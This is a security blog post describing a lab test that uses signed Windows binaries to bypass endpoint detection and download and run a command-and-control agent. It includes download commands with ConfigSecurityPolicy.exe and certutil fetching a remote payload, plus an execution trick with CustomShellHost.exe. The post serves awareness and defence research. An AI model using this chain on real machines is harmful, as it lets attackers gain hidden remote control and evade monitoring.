What the Vuln: EDR Bypass with LoLBins
In a world of ever-evolving cybersecurity threats, endpoint detection and response solutions (EDR) provide much-needed visibility into device activity through automated detection and remediation of malicious activity. An attacker who can bypass EDR protection is more likely to successfully take long-term control of an endpoint and escalate their activity without detection. In this blog, we discuss the use of native Windows binaries, or Living off of the Land Binaries (LoLBins) to bypass EDR protection and install a Command and Control (C2) agent for advanced post-exploitation control.
This technique was discovered in a controlled lab environment at 0DayAllDay, a quarterly hacker meetup focusing on hands-on attacking. The walk-through itself is brief, but by highlighting the effectiveness of these techniques we aim to increase awareness and provide insights for organizations to strengthen defenses and prevent successful LoLBin attacks. All images and command line output in this blog are from the 0DayAllDay lab environment.
LoLBins — LoLBins are Microsoft-signed files native to the OS or downloaded directly from Microsoft that have extra "unexpected functionality." Attackers can use these legitimate system tools to carry out malicious activity. Malicious use of LoLBins can be challenging to detect and block, as system administrators and other users commonly use these tools for legitimate purposes. All the LoLBins used in this attack chain are from the LoLBas Project.
Deimos C2 — Deimos is an open-source post-exploitation command and control (C2) written in Go. Its agents on targeted devices communicate back to the C2 server, allowing an attacker to gain long-term remote control of the target.
EDR Solution — The primary EDR solution that I tested provides continuous monitoring and analytics of endpoint behavior to prevent malicious activity. This EDR is the main target of the bypass technique.
The lab setup consisted of ten hosts running different EDR solutions, including full event logging and real-time monitoring from a remote SOC. Users had access to alert information through an Elastic-Search database. Users could access each target machine through RDP to perform malicious actions with the goal of establishing remote device control without detection.
The full attack happened from a post-exploitation standpoint. After generating a C2 agent and hosting it on an external web server, we used two different Windows Binaries to download and execute the C2 agent.
FIGURE 1- Full attack overview.
When run successfully, the C2 agent reaches back to the server, providing a remote attacker with command line access to the target machine.
Generating an agent in Deimos C2 is straightforward but only allows for a little customization.
FIGURE 2 - Generating the agent in Deimos.
To generate this agent, I set it to communicate using HTTPS and turned the optional obfuscation on. After downloading the correct agent for the target machine's architecture, I uploaded it to an external HTTP server so that I could download it to the target machine.
The Windows binary that successfully downloaded the payload without detection was
ConfigSecurityPolicy.exe. This executable is used to manage settings and configure workloads for Windows Defender. The EDR solution blocked my initial download attempts using
CertUtil.exe, a more well-known LoLBin used for file downloads.
An attacker with user privileges on a machine running Windows 10 or 11 can use this binary to download a remote file using the following syntax:
C:\> ConfigSecurityPolicy.exe http://example.com/payload
The function saves the downloaded file in a randomly named cache folder. Despite being downloaded from a remote HTTP server, the file does not contain the Mark of the Web (MoTW). MoTW is a security feature that indicates a file originated from the internet.
After running this command on the target machine, I copied the downloaded file into my local directory, as shown in the below image.
FIGURE 3- Downloading the payload.
One limitation of this technique is that the file download location includes a randomly generated directory name. An attacker would have to find the downloaded binary before executing it, making this attack chain harder to automate.
CustomShellHost.exe to execute the downloaded binary. In normal use,
creates a Windows client kiosk by replacing the default shell,
explorer.exe, with a custom application. Because
CustomShellHost.exe is meant to be used in Kiosk Mode, it should be easier to detect because it is unlikely to run on normal workstations. It executes “
explorer.exe" if it is present in the current directory and otherwise opens explorer normally.
An attacker with user privileges on a machine running Windows 10 or 11 can use this binary to run an executable. The executable must be named
After downloading the C2 agent, moving it out of the cache folder, and naming it
explorer.exe, I attempted to execute it using
FIGURE 4 - Executing C2 agent with
My first attempt was blocked and the EDR solution deleted the
To get more information, I copied the same executable out of the cache folder again. On the second attempt, the agent ran without detection.
FIGURE 5 - Running the agent without detection.
To determine that the attack would be consistently successful, I downloaded and ran more agents using the same technique over the course of a few hours. Each additional agent was executed successfully. It is currently unclear why the EDR solution caught the first execution attempt but none of the subsequent ones.
FIGURE 6 - Running additional agents.
After running the agent, it was visible in the C2 console, shown below, where we can see the location, filename, and heartbeat checks.
FIGURE 7 - Viewing the agent in the C2 console.
The running agent gave us a remote terminal where we could perform additional post-exploitation activities.
FIGURE 8 - Remote terminal for post-exploitation activities
No additional escalation was done at this time. Instead, I focused on verifying the consistency of this attack technique.
Additional Testing and Looking Forward
While I had access to the 0DayAllDay Lab, I attempted additional testing using a different C2, tested against other EDR providers, and tried additional techniques.
I attempted the same C2 agent download technique using a payload from Sliver C2. Sliver had far more payload creation options than Deimos, and I created a similar agent using mostly the default configurations but set to use Sliver's built-in evasion techniques. However, the EDR solution blocked every implant download attempt.
ConfigSecurityPolicy.exe to download the agent because the EDR solution blocked download attempts using
Certutil.exe, which is a Windows binary for handling certificates and is one of the most used LoLBins. However, other EDR solutions that I tested allowed this download technique. Using
Certutil.exe could be preferable for an attacker with limited time or attempting to automate this process because it enables the user to specify the location and name of the downloaded file.
An attacker with user privileges on a machine running Windows 7, 8, 10, or 11 can use the below syntax to download an agent using
Certutil.exe and save it in the current directory as "
certutil.exe -urlcache -split -f <a href="http://7-zip.org/a/7z1604-x64.exe">http://7-zip.org/a/7z1604-x64....</a> 7zip.exe
None of the three EDR solutions tested blocked the agent execution using CustomShellHost.exe. The below table compares the successful techniques for each.
FIGURE 9 - Comparison of Techniques Across EDR Solutions
I tested these attacks multiple times to ensure they were consistently successful. Apart from the first block of
CustomShellHost.exe discussed in the agent download portion of this blog, all these attempts were allowed.
Moving forward, I would like to see if I can automate this successful attack chain for quick use or delivery in a phishing payload. I am particularly curious to see if there is a way to find the randomly named cache directory without alerting EDR.
After the EDR solution blocked file download using
Certuil.exe, I was surprised when it failed to detect the use of another publicly known but less commonly used LoLBin. Although unexpected, the outcome of these tests demonstrates the perpetual back-and-forth between attacker and defender. There will always be new loopholes; a new LoLBin could be released tomorrow. Defenders can take proactive measures to limit access to or monitor specific binaries. The LoLBas Project enables EDR providers and defenders to develop more successful detection methods. It offers recommended detection measures for each LoLBin, highlighting new attacker techniques that leverage LoLBins.
This attack path is valuable to attackers establishing persistence after gaining initial machine access, particularly those deploying malware. After Microsoft announced the default disablement of Office Macros in untrusted documents, many phishing operations pivoted to abusing trusted Windows software to execute malware. By using trusted binaries, attackers avoid downloading and running additional malware which means blending in with legitimate activity, making the chances of detection less likely. As detection evolves, attackers will continue changing tactics to use less well-known binaries as well as discover previously unknown binaries.
To hear more from Lindsay on this topic, tune into our second livestream episode of What the Vuln.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.